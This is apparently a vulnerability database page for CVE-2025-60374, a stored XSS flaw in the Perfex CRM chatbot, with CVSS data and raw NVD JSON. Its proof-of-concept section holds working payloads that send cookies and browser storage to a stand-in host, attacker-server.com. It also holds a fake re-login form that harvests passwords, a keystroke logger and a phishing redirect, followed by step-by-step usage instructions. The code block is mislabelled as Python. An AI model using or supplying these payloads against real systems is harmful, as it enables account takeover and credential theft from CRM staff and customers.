Security Vulnerability Report
中文
CVE-2025-60374 CVSS 6.1 MEDIUM

CVE-2025-60374

Published: 2025-10-14 20:15:51
Last Modified: 2026-04-15 00:35:42

Description

Stored Cross-Site Scripting (XSS) in Perfex CRM chatbot before 3.3.1 allows attackers to inject arbitrary HTML/JavaScript. The payload is executed in the browsers of users viewing the chat, resulting in client-side code execution, potential session token theft, and other malicious actions. A different vulnerability than CVE-2024-8867.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Perfex CRM chatbot < 3.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60374 - Perfex CRM Stored XSS PoC --> <!-- This PoC demonstrates a stored XSS vulnerability in Perfex CRM chatbot (versions < 3.3.1) --> <!-- The malicious payload is submitted through the chatbot interface and stored on the server --> <!-- When other users view the chat, the payload executes in their browser --> <!-- Step 1: Craft the malicious chat message payload --> <!-- The payload steals session cookies and sends them to the attacker's server --> <script> // Steal session cookies var img = new Image(); img.src = 'http://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie); // Exfiltrate sensitive page content fetch('http://attacker-server.com/log', { method: 'POST', body: JSON.stringify({ url: window.location.href, cookies: document.cookie, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage) }), headers: {'Content-Type': 'application/json'} }); </script> <!-- Alternative payloads for different attack scenarios --> <!-- Payload 2: Fake login form (credential harvesting) --> <form action="http://attacker-server.com/phish" method="POST"> <h3>Session Expired - Please Re-login</h3> <input type="text" name="username" placeholder="Username"/> <input type="password" name="password" placeholder="Password"/> <input type="submit" value="Login"/> </form> <!-- Payload 3: Keylogger --> <script> document.onkeypress = function(e) { var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker-server.com/keylog?key=' + encodeURIComponent(e.key)); xhr.send(); }; </script> <!-- Payload 4: Redirect to phishing page --> <script> window.location.href = 'http://attacker-server.com/phishing'; </script> <!-- Usage Instructions: 1. Inject the payload through Perfex CRM chatbot message input 2. Wait for a victim (admin or user) to view the chat conversation 3. The malicious JavaScript executes automatically in the victim's browser 4. Stolen credentials/cookies can be used to access the CRM system -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60374", "sourceIdentifier": "[email protected]", "published": "2025-10-14T20:15:50.887", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored Cross-Site Scripting (XSS) in Perfex CRM chatbot before 3.3.1 allows attackers to inject arbitrary HTML/JavaScript. The payload is executed in the browsers of users viewing the chat, resulting in client-side code execution, potential session token theft, and other malicious actions. A different vulnerability than CVE-2024-8867."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/ajansha/CVE-2025-60374", "source": "[email protected]"}]}}